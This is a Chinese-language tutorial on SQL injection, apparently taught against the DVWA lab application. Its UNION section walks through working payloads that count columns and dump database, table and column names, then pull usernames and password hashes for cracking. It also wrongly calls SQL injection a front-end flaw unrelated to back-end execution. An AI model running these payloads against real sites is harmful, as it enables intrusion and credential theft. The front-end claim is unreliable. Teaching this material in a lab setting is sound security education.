SQL注入漏洞详解 - Union注入
SQL注入漏洞详解 - Union注入
SQL注入是一种常见的Web安全漏洞,攻击者通过在输入数据中插入恶意的SQL代码,可以欺骗数据库服务器执行非授权的查询操作。本文将详细介绍SQL注入中的Union注入类型,包括其原理、危害、分类以及具体的利用方法。
1. SQL注入简介
SQL注入概念
SQL注入即是指Web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入漏洞主要形成的原因是在数据交互中,站点针对前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。
SQL注入攻击流程
- 注入点探测
- 自动方式:使用Web漏洞扫描工具,自动进行注入点发现
- 手动方式:手工构造sql inject测试语句进行注入点发现
- 信息获取
- 通过注入点取期望得到的数据。
- 环境信息:数据库类型,数据库版本,操作系统版本,用户信息等。
- 数据库信息:数据库名,数据表名,表字段名,字段内容(加密内容破解)
- 获取权限
- 获取操作系统权限:通过数据库执行Shell,上传木马
2. 漏洞原理
可以通过网站存在的查询语句进行构造,为此开发者对其伤透了脑筋,漏洞不光是查询,可能还存在与API、隐藏链接、http头数据、写入数据等。需要对数据包的结构和传递函数比较了解,建议学习的时候把数据库的日志打开,就可以查看到传递到数据库的语句是什么样子的了。
需要记住的information_schema数据库的SCHEMATA、TABLES、COLUMNS。SCHEMATA表中存放所有数据库的名,字段名为SCHEMA_NAME。关键函数database()当前数据库名、version()当前mysql版本、user()当前mysql用户。
3. 漏洞危害
属于危害较高的漏洞,可以获取敏感信息,修改信息,脱库,上传Webshell,执行命令。
- 参数用户可控:前端传给后端的参数内容是用户可以控制的。( 输入框,URL,抓包 )
- 参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询。
SQL注入漏洞发生在前端,属于前端开发设计漏洞。该漏洞与后端数据库执行无关。
SQL注入被广泛用于非法入侵网站服务器,获取网站控制权。它是应用层上的一种安全漏洞。
通常在设计存在缺陷的程序中,对用户输入的数据没有做好过滤,导致恶意用户可以构造一些SQL语句让服务器去执行,从而导致数据库中的数据被窃取,篡改,删除,以及进一步导致服务器被入侵等危害。
4. SQL注入分类
4.1 数字型
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
- 加单引号, URL:www.text.com/text.php?id=3'
对应的sql: select * from table where id=3' 这时sql语句出错, 程序无法正常从数据库中查询出数据, 就会抛出异常; 此时可以判断大概率存在注入, 因为只有服务器将这个单引号一起当作SQL语句执行时才会报错。 - 加and 1=1, URL: www.text.com/text.php?id=3 and 1=1
对应的sql: select * from table where id=3 and 1=1 语句执行正常, 与原始页面无任何差异; - 加and 1=2, URL: www.text.com/text.php?id=3 and 1=2
对应的sql: select * from table where id=3 and 1=2 语句可以正常执行, 但是无法查询出结果, 所以返回数据与原始网页存在差异。
加单引号测试
SELECT first_name, last_name FROM users WHERE user_id = '1'';
加and 1=1测试
如下查询到数据的状况:存在两种情况。
2. 有引号:网站把输入的
1 and 1=1
当成字符串传递到后端,因隐式转换的存在,所以查询出结果。
4. 无引号:网站识别了输入的
and 1=1
,做了逻辑判断。所以能查询出结果。存在SQL注入。
SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=1';
加and 1=2测试
成功返回结果,说明输入的内容是被当成了字符串执行(隐式转换)。并未做逻辑运算。
如果做了逻辑运算,则存在SQL注入漏洞。
SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=2';
未做隐式转换的效果
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1;
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=2;
如果满足以上三点,则可以判断该URL存在数字型注入。
4.2 字符型
当输入的参数为字符串时,称为字符型。
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
数字型语句:
select * from table where id =3;
字符型如下:
select * from table where name='admin';
因此,在构造Payload时通过闭合单引号可以成功执行语句:
实现了绕过被单引号包含的结局
尝试输入: 1' and 1=1 #
# 基于这种方法: 实现了绕过被单引号包含的结局
# 实现了在SQL语句层面, 输入的内容是两个正常的表达式.
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';
可以判断为:字符型注入,对参数id没有做任何过滤,并且用单引号闭合。
因为
条件1=1永远为真
(恒为真)
所以where查询不再限制只返回特定
user_id
的记录,而是返回整个表的内容。
# 理想效果
SELECT first_name,last_name FROM users WHERE user_id = 'suibianxie' or 1=1;
# 闭合单引号
SELECT first_name,last_name FROM users WHERE user_id = 'suibianxie' or 1=1 #';
4.3 Union注入(联合查询注入)
联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用UNION或UNION ALL。
注意:
UNION操作符选取不重复的值。如果允许重复的值,请使用UNION ALL
select user_id,first_name from users where user_id=1 union all select user_id,first_name from users where user_id=1;
select user_id,first_name from users where user_id=1 union select user_id,first_name from users where user_id=1;
推荐使用UNION ALL,因为UNION会自动过滤掉字段内容重复的数据,这可能导致我们错过想查找的相关数据内容。
前提条件:页面存在显示位
MySQL 5.0 以上版本,存在一个自带的数据库名为:information_schema(重点)
information_schema数据库中有三个表非常重要
2.
schemata
:表里包含所有数据库的名字
4.
tables
:表里包含所有数据库的所有表名,默认字段为table_name
6.
columns
:表里包含所有数据库的所有表的所有字段名
三个列非常重要
- SCHEMA_NAME
:数据库名 - TABLE_NAME
:表名 - COLUMN_NAME
:字段名
# 爆库名
select database();
select SCHEMA_NAME from information_schema.schemata;
select group_concat(SCHEMA_NAME) from information_schema.schemata;
# 爆表名
select TABLE_NAME from information_schema.tables where table_schema='dvwa';
select group_concat(TABLE_NAME) from information_schema.tables where table_schema='dvwa';
# 爆列名
select COLUMN_NAME from information_schema.columns where TABLE_NAME='users';
select group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME='users';
联合注入的过程:
2. 判断注入点
4. 判断是整型还是字符型
6. 判断列数、判断显示位
8. 获取所有数据库名
10. 获取数据库所有表名、字段名、字段中的数据重
判断列数、判断显示位
通过order by得知输出的结果有几列
2. 通过order by来判断列数
# 正常
1' order by 2#
- 通过union all来判断显示位
判断select查询语句的字段个数信息,用于与后边联合查询数量做匹配
# 确定显示位
1' union all select 1,2#
1' union all select 1,2,3#
- 爆出数据库名和版本信息
select database()
获得当前数据库名称
# 爆出数据库名和版本信息
1' union all select database(),version()#
基于group_concat函数
是一个非常实用的聚合函数
用于在分组查询中将同一组内的多个值合并为一个字符串
select group_concat(first_name) from users;
- 爆出dvwa数据库中的数据表
# 爆出dvwa数据库中有guestbook,users两个表
1' union select 1,table_name from information_schema.tables where table_schema ='dvwa'#
# 加group_concat()函数
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa'#
- 爆出users表字段
# 得到users表字段信息
1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
# 加group_concat()函数
1' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#
- 最终基于我们得到的数据库名称,数据库表名,数据库字段名
通过联合查询过滤到表中的用户名和密码信息(数据信息)
# 得到用户名和密码
1' union select user,password from users#
MD5解密站点(撞库逻辑原理)
大功告成